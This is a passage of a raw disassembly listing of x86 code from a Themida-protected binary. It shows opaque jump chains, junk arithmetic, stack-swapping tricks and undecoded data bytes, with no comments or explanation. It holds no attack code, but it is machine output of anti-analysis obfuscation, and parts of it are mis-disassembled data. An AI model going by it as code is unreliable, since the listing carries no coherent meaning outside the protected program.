		dd 0FFFFCBFCh, 0DCF64AB4h, 0EC80CCFEh, 58E530FDh, 2444FE51h
		dd 0E3E95901h
		db 0D3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_563FE7:				; CODE XREF: Themida_:0056398Aj
		add	edi, esi
		pop	esi
		jmp	loc_5722A3
; ---------------------------------------------------------------------------
		db 83h
		dd 0C68104C4h, 4, 4C681h, 34870000h, 0E6E95C24h, 51FFFF92h
		dd 320F44B9h, 6C98140h,	0C16F1961h, 7AE906E1h, 810000D7h
		dd 9A52C1EAh, 4AE95671h, 29FFFFA5h, 0C38158C3h,	55327C4Eh
		dd 0A4B4E9h
		db 0
; ---------------------------------------------------------------------------


loc_564035:				; CODE XREF: Themida_:0055D319j
		pop	ebx
		mov	dl, ch
		pop	ecx
		sub	dl, 0FFh
		sub	dl, 0F2h
		dec	dl
		jmp	loc_572523
; ---------------------------------------------------------------------------


loc_564046:				; CODE XREF: Themida_:00571B3Cj
		add	ecx, 27FD58A4h
		inc	ecx
		jmp	loc_56F47B
; ---------------------------------------------------------------------------


loc_564052:				; CODE XREF: Themida_:0057266Fj
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_568977
; ---------------------------------------------------------------------------


loc_564065:				; CODE XREF: Themida_:005714C1j
		pop	esp
		retn
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF9281h, 8B240C87h, 0FF532424h, 5B042474h, 8B24048Fh
		dd 0C8B2424h, 0D56CE924h, 0FA680000h, 89000043h, 0BD552414h
		dd 32E320E7h, 8106EDC1h, 0E12170CDh, 0FC14E919h, 0EB31FFFFh
		dd 0C908E9h, 1C77FF00h,	419589Dh, 36E99C24h, 81FFFF92h
		dd 4ECh, 24348900h, 1A5F04BEh, 0CEC6813Bh, 0E918F61Bh
		dd 4F2h, 6896BB53h, 0D8015AE7h,	83241C8Bh, 0D00104C4h
		dd 4EC81h, 3C890000h, 68966824h, 295F5AE7h, 243C8BF8h
		dd 0FFCEFDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5640F9:				; CODE XREF: Themida_:0056B79Dj
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	edx, 13B84D04h
		sub	edx, ebx
		sub	edx, 13B84D04h
		xor	ebx, edx
		xor	edx, ebx
		xor	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_568A53
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0BAE92424h, 87FFFF91h, 0C15C241Ch, 0F18105E1h, 9F98A36Ch
		dd 628FE9h
		db 0
; ---------------------------------------------------------------------------


loc_564145:				; CODE XREF: Themida_:0055DF08j
		pop	ecx
		push	372Ah
		mov	[esp], edx
		jmp	loc_56BDAD
; ---------------------------------------------------------------------------


loc_564153:				; CODE XREF: Themida_:0056348Bj
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 19F12CADh
		add	esi, 0F3239E6h
		push	4460h
		mov	[esp], ebp
		jmp	loc_55F008
; ---------------------------------------------------------------------------


loc_56417D:				; CODE XREF: Themida_:00568B9Bj
		or	ebx, ebx
		jnz	loc_5677C1
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	4378h
		jmp	loc_5702BC
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFFC92Fh
; ---------------------------------------------------------------------------


loc_5641A8:				; CODE XREF: Themida_:00569E4Fj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_567840
; ---------------------------------------------------------------------------


loc_5641D7:				; CODE XREF: Themida_:0056BC5Fj
		xor	edx, 722A7254h
		add	ebp, edx
		jmp	loc_569377
; ---------------------------------------------------------------------------
		dd 0E958C601h, 8614h, 39A4E181h, 0E9C17D07h, 0C3AEE903h
		dd 0A8BE0000h, 811B2F48h, 4A2CC0EEh, 0BEC9E95Eh, 0C7810000h
		dd 4, 5C243C87h, 8B24048Fh, 0BE0F2424h,	4EC81C8h, 89000000h
		dd 0FF54243Ch, 835F2434h, 0C78104C4h, 4, 1BE95457h, 0F70000D7h
		dd 0EC96E9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564242:				; CODE XREF: Themida_:005694EEj
		mov	ebx, esi
		pop	esi
		sub	ebx, esi
		jmp	loc_567C8A
; ---------------------------------------------------------------------------


loc_56424C:				; CODE XREF: Themida_:0056AB54j
		pop	ebp
		and	esi, 62AC7279h
		jmp	loc_5716C7
; ---------------------------------------------------------------------------
aZSme		db '┤,$И▄╔',0
		align 10h


loc_564260:				; CODE XREF: Themida_:00563BBFj
		xor	ebx, 70B869C4h
		jmp	loc_56C746
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4BA5200h, 0E9000000h, 5886h, 241C335Eh, 0E9241C31h
		dd 898Eh
; ---------------------------------------------------------------------------


loc_564288:				; CODE XREF: Themida_:0055E56Cj
		mov	eax, esp
		push	edi
		mov	edi, 55EB5C9Dh
		add	edi, 627C5CDFh
		add	edi, 47984688h
		add	eax, edi
		pop	edi
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_566CB5
; ---------------------------------------------------------------------------


loc_5642AF:				; CODE XREF: Themida_:005652B6j
		shl	ebp, 6
		not	ebp
		sub	ebp, 12D066C6h
		push	ecx
		mov	ecx, 985EB0BDh
		xor	ebp, ecx
		pop	ecx
		jmp	loc_564628
; ---------------------------------------------------------------------------
		dd 815EF329h, 4ECh, 24348900h, 0FFBFF1E9h, 4138BBFFh, 77E90C89h
		db 95h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5642E3:				; CODE XREF: Themida_:0056CB51j
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	eax
		push	esp
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56E988
; ---------------------------------------------------------------------------
		dw 0E6E9h
		dd 87FFFF8Fh, 248B241Ch, 243C8924h, 0E0268h, 0F1EDE900h
		dd 8159FFFFh, 2A051CF2h, 0CED5E960h, 0C381FFFFh, 4, 4C381h
		dd 1C870000h, 34FF5C24h, 24048B24h, 888EE950h, 0E95E0000h
		dd 0FFFFDFC0h, 8B240C87h, 83E92424h, 8900006Fh,	4EC83E0h
		dd 0FFCD55E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56435D:				; CODE XREF: Themida_:005606E9j
		xor	eax, edx
		push	ebx
		push	28EEh
		mov	[esp], esi
		push	5039784Dh
		pop	esi
		push	eax
		mov	eax, 42682717h
		push	ebp
		mov	ebp, 46707959h
		xor	ebp, 46CE0CE6h
		jmp	loc_560066
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 0CF010000h, 243C8759h, 8324248Bh, 2C8904ECh,	3411BD24h
		dd 0D1E90248h, 66000069h, 6606E1C1h, 62E9D9F7h,	5300008Bh
		dd 8361A8BBh, 9CF38163h, 811EF24Fh, 96736AE3h, 6B7CE943h
		dd 805B0000h, 0ED80A6EDh, 0E9EE8803h, 0D812h, 0BEB536B0h
		dd 6658C530h, 244C8651h, 86D1F601h, 0E901244Ch,	0FFFFB97Eh
		dd 0EEBAE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5643F2:				; CODE XREF: Themida_:00568796j
		pop	edi
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_56665B
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 0CCh
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56440B:				; CODE XREF: Themida_:005663BBj
		push	ebx
		mov	ebx, 3EED3E6Ah
		sub	ebx, 63963107h
		jmp	loc_56C442
; ---------------------------------------------------------------------------
		dd 8759CA29h, 0F1E92414h, 5FFFFF9Ch, 8C1FE9h
		db 0
; ---------------------------------------------------------------------------


loc_56442D:				; CODE XREF: Themida_:005636BBj
		push	ebp
		push	183167D3h
		pop	ebp
		not	ebp
		not	ebp
		push	edi
		mov	edi, 60863723h
		not	edi
		jmp	loc_55E518
; ---------------------------------------------------------------------------


loc_564445:				; CODE XREF: Themida_:0057007Cj
		add	eax, 4
		sub	eax, 4
		jmp	loc_56CBAD
; ---------------------------------------------------------------------------


loc_564454:				; CODE XREF: Themida_:0055D94Bj
		sub	eax, ecx
		jmp	loc_56C8C6
; ---------------------------------------------------------------------------
		db 0B7h
		dd 80CFFE6Fh, 0DFF6A4E7h, 80C1EF80h, 0FC006DC4h, 5B6DEC80h
		dd 0B21EF480h, 0E9E228ABh, 0FFFF9146h, 268h, 0B9515900h
		dd 7BB7698Ah, 6ADCE981h, 0F1813D64h, 212223B2h,	0F705E1C1h
		dd 8DE955D9h, 57000069h, 584AE9h, 24248B00h, 0FFECE4E9h
		dd 46C0BBFFh, 0DF89764Fh, 448E9h, 5AD32900h, 0D102E3C1h
		dd 0B4E381EBh, 5105B710h, 0FFB6D7E9h, 240C8BFFh, 5604C483h
		dd 1544ABEh, 0B951525Dh, 7E5827B1h, 0D9F7D1F7h,	0F181D1F7h
		dd 0DCA68C03h, 3159CA89h, 0B76DE9D6h, 0D4880000h, 0E996B35Ah
		dd 0FFFF9450h
; ---------------------------------------------------------------------------


loc_564500:				; CODE XREF: Themida_:0056D8F0j
		mov	eax, 61BA244Dh
		shl	eax, 6
		jmp	loc_55F87E
; ---------------------------------------------------------------------------
		db 0B9h, 67h, 5Dh
		dd 0E1813F3Eh, 67ED3A4Ah, 3BE5BF57h, 0D8E95586h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564523:				; CODE XREF: Themida_:0056661Aj
		add	eax, 26FB71B6h
		jmp	loc_568608
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aS_7		db '$И╣╪',0
		align 2
		push	ebp
		mov	ebp, esp
		jmp	loc_55E22F
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0A868240Ch, 0E900002Ah, 2F85h, 89C38953h, 0BE7FE9DFh
		dd 0C101FFFFh, 0E9565058h, 9818h, 240C8B66h, 0FFB22AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564569:				; CODE XREF: Themida_:0056BF21j
		mov	ebp, 58127D42h
		add	ecx, ebp
		jmp	loc_56B0D0
; ---------------------------------------------------------------------------


loc_564575:				; CODE XREF: Themida_:0056FBB8j
		sub	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		jmp	loc_569939
; ---------------------------------------------------------------------------
		dd 4C781h, 0EF810000h, 4, 5C243C87h, 0BB241C89h, 42AB6C9Fh
		dd 606AEA81h, 0ECE93D6Dh
		db 0E2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5645AF:				; CODE XREF: Themida_:0056315Aj
		add	ebp, esi
		pop	esi
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56D921
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 0D5EB9FFBh, 2F3FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5645CD:				; CODE XREF: Themida_:0056EA1Aj
		push	dword ptr [edi+1Ch]
		jmp	loc_56A13D
; ---------------------------------------------------------------------------
		db 5Bh,	2Ch, 0D2h
		dd 8B66542Ch, 5451240Ch, 81240C8Bh, 4C4h, 4C18100h, 81000000h
		dd 2C1h, 240C8700h, 79CCE9h
		db 0
; ---------------------------------------------------------------------------


loc_5645FD:				; CODE XREF: Themida_:00562ECAj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	ebx, ebp
		add	ebx, 3D7013A3h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56A43D
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 0E9000000h, 0FFFFB9F4h
; ---------------------------------------------------------------------------


loc_564628:				; CODE XREF: Themida_:005642C3j
		sub	edx, 0D3F3318h
		add	edx, ebp
		push	ebx
		mov	ebx, 0D3F3318h
		add	edx, ebx
		pop	ebx
		pop	ebp
		jmp	loc_5635EC
; ---------------------------------------------------------------------------
		db 0F7h
		dd 7E6C1DEh, 2E6DBB53h,	48E96947h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56464F:				; CODE XREF: Themida_:0056D4F7j
		mov	[esp], ebp
		mov	ebp, 1F2822F2h
		and	ebp, 62CE5D59h
		push	ebp
		jmp	loc_565A11
; ---------------------------------------------------------------------------
		db 1
		dd 240C8BCFh, 4C481h, 0BD550000h, 8A3B45AAh, 0FFEF62E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564679:				; CODE XREF: Themida_:0055FBE4j
		sub	esi, 0F47DDE54h
		and	eax, esi
		pop	esi
		jmp	loc_571F7D
; ---------------------------------------------------------------------------


loc_564687:				; CODE XREF: Themida_:00563B93j
		push	eax
		jmp	loc_561EF2
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 5Dh
		dd 0E932AC74h, 0FFFFE097h, 0E3E685Ch, 0C1E90000h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5646A3:				; CODE XREF: Themida_:0056EA50j
		push	eax
		jmp	loc_5622F8
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0
		dd 29000000h, 5BDA89D3h, 5056DAF7h, 62136068h, 873E954h
		dd 4890000h, 0F7BAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5646CA:				; CODE XREF: Themida_:0056F42Cj
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_567F33
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48324h, 31241C33h,	1C33241Ch, 34FF5C24h, 240C8B24h
		dd 81E28952h, 4C2h, 9A17E900h, 34FF0000h, 243C8B24h, 11DFE9h
		dd 223F0500h, 7E93D50h
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564717:				; CODE XREF: Themida_:00563B57j
		and	edx, 95341ADh
		sub	edx, 4D0672F4h
		push	ebp
		mov	ebp, 5F7A5CFFh
		jmp	loc_562DCA
; ---------------------------------------------------------------------------
aTs5		db 'пБИа5',0
		dd 223F2D00h, 0E95D3D50h, 0FFFFB73Fh
; ---------------------------------------------------------------------------


loc_564740:				; CODE XREF: Themida_:005639AFj
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_55E38A
; ---------------------------------------------------------------------------
		db 81h
		dd 940BA6CAh, 0B3EA816Fh, 8145EE12h, 0F179CFC2h, 53C28101h
		dd 0E956013Eh, 1B2Ah
; ---------------------------------------------------------------------------


loc_56476C:				; CODE XREF: Themida_:0056D220j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_561CE8
; ---------------------------------------------------------------------------
		db 1, 0EAh, 8Bh
		dd 0C483242Ch, 24143304h, 33241431h, 0FF5C2414h, 34FF2434h
		dd 0A4E95924h, 0F7000009h, 0A727E9DBh, 14330000h, 24143124h
		dd 5C241433h, 9C240CD2h, 0FF8B40E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5647AD:				; CODE XREF: Themida_:0056F2B6j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0
		add	ecx, edx
		push	edx
		mov	edx, 0
		add	edx, ecx
		mov	eax, [edx]
		pop	edx
		jmp	loc_569407
; ---------------------------------------------------------------------------
		dw 4F68h
		dd 5F182D05h, 8107E7C1h, 3E54CDEFh, 0D4EF8125h,	89D3031Bh
		dd 3CE95FF9h, 89000069h, 0E2892414h, 7CD4E9h, 205E6800h
		dd 0C5E90F88h, 81FFFFE9h, 4C6h,	24348700h, 8124248Bh, 4ECh
		dd 242C8900h, 63F268h, 48F5400h, 24048124h, 4, 0FFB8A2E9h
		dd 2434FFFFh, 582434FFh, 555768h, 0DDDAE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564836:				; CODE XREF: Themida_:0056DCC8j
		pop	ecx
		mov	ecx, eax
		pop	eax
		add	ebx, ecx
		pop	ecx
		sub	ebx, 4
		jmp	loc_570DC9
; ---------------------------------------------------------------------------


loc_564848:				; CODE XREF: Themida_:0056B648j
		xor	ecx, 4348149Ah
		or	ecx, 2E2D009Ch
		add	ecx, 91429C27h
		jmp	loc_571DAD
; ---------------------------------------------------------------------------
		db 52h
		dd 73318DBAh, 89F2814Ah, 14A7331h, 0EC835AD3h, 24148904h
		dd 23AEE9h
		db 0
; ---------------------------------------------------------------------------


loc_564879:				; CODE XREF: Themida_:0056F385j
		pop	ebx
		add	[esp+0Ch], ebp
		jmp	loc_567559
; ---------------------------------------------------------------------------
		db 81h
		dd 2B4EB7E9h, 81F90150h, 2B4EB7C1h, 2434FF50h, 0E389535Fh
		dd 2549E9h
		db 0
; ---------------------------------------------------------------------------


loc_56489D:				; CODE XREF: Themida_:00565527j
		mov	[esp], eax
		push	55C44650h
		pop	eax
		and	eax, 4ADC29FBh
		add	eax, 3AE67C7h
		dec	eax
		sub	eax, 0FFFFFFFFh
		sub	eax, 1BB814EBh
		xor	esi, eax
		pop	eax
		add	esi, 50E17C34h
		sub	esi, 6F1922D7h
		add	esi, 39B4772Ah
		sub	edx, esi
		jmp	loc_5688BF
; ---------------------------------------------------------------------------
		db 0BAh
		dd 0DD309F99h, 0FFB7B1E9h, 24048FFFh, 6624248Bh, 8324048Bh
		dd 0AAE904ECh
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5648F3:				; CODE XREF: Themida_:00562417j
		add	esp, 4
		jmp	loc_56C140
; ---------------------------------------------------------------------------


loc_5648FB:				; CODE XREF: Themida_:0056EE24j
		dec	edx
		jmp	loc_56B575
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0EAh
		dd 1E68575Eh, 0DCE9FA29h, 29FFFF9Ah, 190B2DF0h,	34FF6641h
		dd 0C4815E24h, 4, 5E61E9h
		db 0
; ---------------------------------------------------------------------------


loc_564925:				; CODE XREF: Themida_:00563F88j
		mov	ebp, [esp]
		add	esp, 4
		std
		push	ebp
		push	edi
		push	73CE1E9Fh
		mov	edi, [esp]
		add	esp, 4
		neg	edi
		add	edi, 0BB0E718Fh
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ebp, 16277840h
		push	edi
		jmp	loc_56A2AC
; ---------------------------------------------------------------------------


loc_564958:				; CODE XREF: Themida_:00567A23j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	esi
		mov	esi, 3E5D17C9h
		and	esi, 2E0F1F17h
		jmp	loc_561FAA
; ---------------------------------------------------------------------------
		db 0BAh, 4Dh, 50h
		dd 0C2810CB4h, 4B69CDBFh, 1AE9D2F7h, 66FFFFECh,	2404BB0Fh
		dd 0C1DCE99Ch, 0EB80000h, 95A8A58h, 0F38158C3h,	42A11C70h
		dd 0FFD247E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5649A9:				; CODE XREF: Themida_:00567D04j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		jmp	loc_572844
; ---------------------------------------------------------------------------
		dd 757BB53h, 0D92972BAh, 1591685Bh, 1C890000h, 0C9EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5649DE:				; CODE XREF: Themida_:0056D92Fj
		push	ecx
		push	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebx
		jmp	loc_56692F
; ---------------------------------------------------------------------------
		dd 4C5815Bh, 87000000h,	575C242Ch, 56E9E789h, 5D000025h
		dd 0FFA2F5E9h, 4C281FFh, 81000000h, 4C2h, 1B46E900h, 66640000h
		dd 0E952028Bh, 0FFFF9D65h, 0A04702B8h, 2444295Bh, 34FF5808h
		dd 89515E24h, 5F6855E1h, 89000027h, 54BF243Ch, 0BD67183Ch
		dd 0AA1D7A92h, 3C8BFD29h, 7EB8E924h, 3C8B0000h,	4C48124h
		dd 55000000h, 0FFB8DEE9h, 48B54FFh, 9D3BE924h, 0BE560000h
		dd 760A02D0h, 5003E6C1h, 5E3170B8h, 58C6312Ch, 68FFC683h
		dd 7C3Ch, 0F7243489h, 815E2414h, 262624E6h
		db 50h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_55DBEF
; ---------------------------------------------------------------------------


loc_564AA5:				; CODE XREF: Themida_:0056E81Fj
		add	esi, edi
		pop	edi
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_56EFCC
; ---------------------------------------------------------------------------
		db 40h
		dd 502A5805h, 71E99142h
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564AC3:				; CODE XREF: Themida_:00561C30j
		push	dword ptr [esp]
		jmp	loc_56BB0C
; ---------------------------------------------------------------------------


loc_564ACB:				; CODE XREF: Themida_:0056A04Cj
		xor	eax, 7DAD169Ah
		add	edx, eax
		jmp	loc_56573C
; ---------------------------------------------------------------------------
		db 1
		dd 2EEA81C2h, 0FF083102h, 83582434h, 143304C4h,	24143124h
		dd 8B241433h, 8B662424h, 0EC832404h, 240C8904h,	8904EC83h
		dd 4812424h, 424h, 8EACE900h, 0E958FFFFh, 0FFFFFB2Bh, 895AD101h
		dd 240C8BCEh, 0C104C483h, 0C68108EEh, 5EA202F2h, 5183BB53h
		dd 0DE214864h, 0B1C6815Bh, 87CAC6F7h, 0CF75E9FEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564B3E:				; CODE XREF: Themida_:005703CDj
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56DEE8
; ---------------------------------------------------------------------------
		db 52h
		dd 0FF9C48E9h, 24048BFFh, 549168h, 240C8900h, 0C181E189h
		dd 4, 0E904C183h, 0FFFFF4F8h, 3568D0F7h, 8900005Fh, 14F72404h
		dd 0B479E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564B86:				; CODE XREF: Themida_:0056BF49j
		dec	ebx
		jmp	loc_56D8DF
; ---------------------------------------------------------------------------
		dd 4C781h, 0E0E90000h, 6600008Eh, 6824048Bh, 4B61h, 56243C89h
		dd 0C681E689h, 4, 0FF8CC9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564BB1:				; CODE XREF: Themida_:0056F4C1j
		add	eax, esi
		pop	esi
		sub	ebx, eax
		mov	eax, [esp]
		jmp	loc_56A385
; ---------------------------------------------------------------------------
aYs_g		db 'YИ.g',0
		align 4
		dd 81F3015Fh, 7F737DEBh, 1C335E2Dh, 4587E924h, 0EA810000h
		dd 4, 31241433h, 14332414h, 83E95C24h, 57000038h, 0FFFBD9E9h
		dd 240489FFh, 0DC7E952h, 815F0000h, 4C4h, 24343300h, 0FFEFBBE9h
		dd 7BB850FFh, 157C32Dh,	1FEDE9C3h, 8E050000h, 68658D49h
		dd 4229h, 0BA241489h, 5A1418CDh, 1CAF281h, 0E2815CDBh
		dd 23AC5F2Ch, 392EA81h,	0E2C1FD03h, 88AE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564C42:				; CODE XREF: Themida_:00568D54j
		sub	esi, 21691F9Fh
		sub	esi, eax
		add	esi, 21691F9Fh
		add	esi, 4CB21933h
		push	ecx
		mov	ecx, 1D74EE7h
		add	esi, 5070C05h
		sub	esi, ecx
		sub	esi, 5070C05h
		pop	ecx
		add	esi, 607B568Ch
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_563029
; ---------------------------------------------------------------------------
		db 4Ah
		dd 3A80EA81h, 58520971h, 8124148Bh, 4C4h, 531F6800h, 3C890000h
		dd 40D9E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564C9E:				; CODE XREF: Themida_:005697EAj
		pop	eax
		push	66A6h
		mov	[esp], edi
		jmp	loc_565171
; ---------------------------------------------------------------------------


loc_564CAC:				; CODE XREF: Themida_:00562D92j
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_56916F
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 4, 8759CD29h, 895C242Ch, 0EEE9241Ch
		db 7Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564CCF:				; CODE XREF: Themida_:005659B2j
		push	edi
		jmp	loc_5617FD
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 5411E958h, 68660000h, 89664FDCh, 8B66243Ch, 0C483242Ch
		dd 3C8B6602h, 2C48324h,	0FFF131E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564CF9:				; CODE XREF: Themida_:0056AAADj
		mov	ebx, 79882CADh
		jmp	loc_565EE1
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 2404895Ch, 2851BF57h
		dd 0E7C1050Fh, 986EE908h, 0ED810000h, 60B6679Dh, 18AEF581h
		dd 0A5E937DFh, 0F70000A2h, 81DEF7DEh, 625220F6h, 37B9510Bh
		dd 0E90F6201h, 6A56h, 4240481h,	8F000000h, 4812404h, 424h
		dd 24048F00h, 5732E9h, 14F75600h, 68575E24h, 4570h, 0BB241C89h
		dd 65552F6Ch, 41FFEB81h, 0C0E90B05h, 1000075h, 9FC681FEh
		dd 0E96C0B0Fh, 22DFh
; ---------------------------------------------------------------------------


loc_564D90:				; CODE XREF: Themida_:00566D0Aj
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_569057
; ---------------------------------------------------------------------------
		dd 0A710B9BEh, 29B85037h, 0E9E9B11Ch, 69CDh
; ---------------------------------------------------------------------------


loc_564DAC:				; CODE XREF: Themida_:0056DF41j
		push	ebx
		mov	ebx, 49D571CEh
		push	ebp
		push	4DE9h
		mov	[esp], ecx
		push	41D702F3h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ecx, 5106016Fh
		dec	ecx
		sub	ecx, 729AF4E6h
		jmp	loc_56147C
; ---------------------------------------------------------------------------


loc_564DDC:				; CODE XREF: Themida_:0056DD2Dj
		push	dword ptr [esp+4]
		jmp	loc_56ECEF
; ---------------------------------------------------------------------------
		db 80h,	0EDh, 2Ch
		dd 0FF967FE9h, 0C5C581FFh, 0E90BC98Dh, 7E67h
; ---------------------------------------------------------------------------


loc_564DF8:				; CODE XREF: Themida_:0056DAE3j
		xor	eax, 4EF26AB6h
		push	edi
		push	44B1545Bh
		jmp	loc_55F111
; ---------------------------------------------------------------------------
		dd 804BD55h, 0EF014E36h, 5FFA095Dh, 4885B951h, 41E96D0Dh
		dd 0E9000087h, 0FFFF84C9h, 7C3F2868h, 0EB815B0Dh, 86FFFBEh
		dd 0E95B5953h, 3597h
; ---------------------------------------------------------------------------


loc_564E38:				; CODE XREF: Themida_:0056B7FAj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55E82D
; ---------------------------------------------------------------------------


loc_564E43:				; CODE XREF: Themida_:0056A4C5j
		mov	ecx, esi
		pop	esi
		mov	ebx, ecx
		pop	ecx
		push	esi
		mov	esi, 1C986B17h
		neg	esi
		dec	esi
		sub	esi, 0C04E56FCh
		shl	esi, 6
		neg	esi
		shr	esi, 4
		inc	esi
		sub	esi, 0E193B53Bh
		jmp	loc_57165B
; ---------------------------------------------------------------------------
		dd 41D9F75Bh, 2B8EF181h, 0CA897FA3h, 333A6859h,	0C7E90000h
		dd 81000014h, 6D1FC4F1h, 8BCB01D0h, 0C481240Ch,	4, 685BDA21h
		dd 572Ch, 0BE243489h, 69B7740Bh, 0BA52DEF7h, 9C63DE94h
		dd 148BD631h, 4C48124h,	1000000h, 0D526E9F2h, 315EFFFFh
		dd 0B027E9FEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564EC6:				; CODE XREF: Themida_:00569F66j
		pop	esp
		push	ebp
		jmp	loc_569C8A
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0CDh
		dd 10DE86Fh, 0FB015FFBh, 6FCDEB81h, 3C8B0DE8h, 95C0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564EE6:				; CODE XREF: Themida_:0056856Dj
		push	2E70h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_564EF5:				; CODE XREF: Themida_:0056877Dj
		pop	dword ptr [esp]
		pop	esp
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		bswap	eax
		push	71D6h
		jmp	loc_55E2FB
; ---------------------------------------------------------------------------
		dw 5166h
		dd 51666BB5h, 1FD468h, 241C8900h, 8C99E9h, 8EC38000h, 0FFC0B60Fh
		dd 34FF8734h, 24048B24h, 1FF1E9h, 24048B00h, 4C481h, 0D0F70000h
		dd 0DE53EC35h, 0D9C4E959h, 74FFFFFFh, 3C8B0424h, 4C48324h
		dd 5C24048Fh, 0E9240C89h, 0FFFF838Dh, 0D52490BAh, 5AD38953h
		dd 0D1D08EBAh, 0E9DA29C4h, 8B95h
; ---------------------------------------------------------------------------


